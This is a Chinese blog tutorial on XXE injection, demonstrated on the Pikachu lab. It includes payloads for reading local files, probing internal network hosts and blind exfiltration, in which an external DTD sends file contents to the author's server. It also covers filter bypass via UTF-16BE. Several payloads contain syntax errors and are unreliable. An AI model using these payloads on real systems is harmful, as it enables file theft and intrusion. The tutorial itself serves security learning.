初识XML------XXE漏洞

目录

XML的概念

XXE玩法---读文件

玩法---内网探针或者攻击内网应用(触发漏洞地址)

引用外部实体DTD

无回显---读取文件

绕过

判断


XML的概念

XML(Extensible Markup Language,可扩展标记语言),XML被设计用来传输和存储数据,它是一种很像HTML的标记语言,其设计的宗旨是传输数据,而不是显示数据。

XML和HTML之间的差异:

XML不是HTML的替代,XML和HTML为不同的目的而设计:

  • XML被设计用来传输和存储数据,其焦点是数据的内容。
  • HTML被设计用来显示数据,其焦点是数据的外观。

总的来说HTML旨在显示信息,XML旨在传输信息。

XML文档结构包含着XML声明、XML文档类型定义*(即DTD,也就是XXE漏洞所在的地方)、XML文档元素。

XXE漏洞全称为XML External Entity Injection,即XML外部实体注入漏洞,导致可加载而已外部文件,造成的危害主要有:文件读取、命令执行、内网端口扫描、攻击内网网站等。

XXE玩法---读文件

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITYPE xxe SYSTEM "file:///d://test.txt"> #file后面就是读取的文件的路径
]>
<x>&xxe;</x>

xxe相当于变量,<x>&xxe;</x>表示XML文档元素,可以理解为执行xxe变量(也就是读取d盘下的test.txt文件)。

这里使用pikachu靶场来进行测试:

这里我们在输入框中写入我们的攻击代码,来尝试读取D盘下面的index.txt,其中里面的内容为hello hacker!

输入代码为:

<?xml version="1.0"?>
<!DOCTYPE ANY[
    <!ENTITY xxe SYSTEM "file:///d://index.txt">
]>
<x>&xxe;</x>

玩法---内网探针或者攻击内网应用(触发漏洞地址)

这种玩法不是很常见。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
<!ELEMENT foo ANY >
 <!ENTITY rabbit SYSTEM "http://192.168.1.1:8080/index.txt">
]>

<x>&rabbit;</x>

通过有xxe的漏洞网站,向其服务器内网发送请求,进行判断192.168.1.1的8080端口是否开放,并且判断index.txt文件是否存在。

引用外部实体DTD

主要的作用是自定义攻击,但是前提条件是对方网站没有禁止引用外部实体。

<?xml version = "1.0"?>
<!DOCTYPE test[
    <!ENTITY %file SYSTEM "http://127.0.0.1:8080/evil2.dtd">
     #url指向的是自己的公网的IP地址
    %file;
]>
<x>&send;</x>

DTD文件会被当做xml文件执行,所以在自己的服务器上写上相应的代码即可,evil2.dtd:

<!ENTITY send SYSTEM "file:///d://index.txt">

无回显---读取文件

有时候网站代码中设置不会先,可以通过想自己服务器发送数据来查看信息,一种是查看日志信息,一种是将传递进来的数据直接写入到文件中。

<?xml version = "1.0"?>
<!DOCTYPE test [
 <!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=d://index.txt">
    用上面的这行代码的情况下不写文件的绝对路径也能正常搜寻,只不过是在当前路径下,而用file的话就要写全路径
 <!ENTITY %dtd SYSTEM "http://192.168.0.103:8080/test.dtd">
%dtd;
%send;  
]>

服务器中test.dtd文件代码:

<!ENTITY %payload
 "<!ENTITY %#X25; send SYSTEM 'http://192.168.0.103/?data=%file;'>"
>
&payload;

以上部分代码来源于小迪老师的课程。

绕过

对于ENTITY、SYSTEM、file等关键字被过滤,可以采用UTF-16BE编码格式绕过。

可以参考文章https:cnblogs.com/20175211lyz/p/11413335.html

如果http协议被过滤可以采用其他的协议进行绕过。例如data://协议、file://协议以及php://filter协议绕过。

判断

通过抓包,看数据包中的关键字,其中包含Content-Type的值的判断,如果后面的值是text/xml或者是application/xml的,就可以判断它接受的就是xml的语言,我们就可以尝试检验是否存在xxe漏洞,当然如果不是text/xml或者是application/xml的,还可以通过修改,将其改成text/xml或者是application/xml。再来判断是否存在漏洞。包括数据包中的数据可能是如下的这种形式,都可以进行一个判断(它是传输的xml的语句格式。可能造成xxe的漏洞)

<user><username>1</username><password>1</password></user>

xxe安全漏洞自动化注入脚本工具XXEinjection---使用ruby编写。使用前需要安装ruby相关环境。

参考链接:7.XXEinjector:一款功能强大的自动化XXE注射工具 - bmjoker - 博客园

猜你喜欢

转载自blog.csdn.net/weixin_44770698/article/details/125201267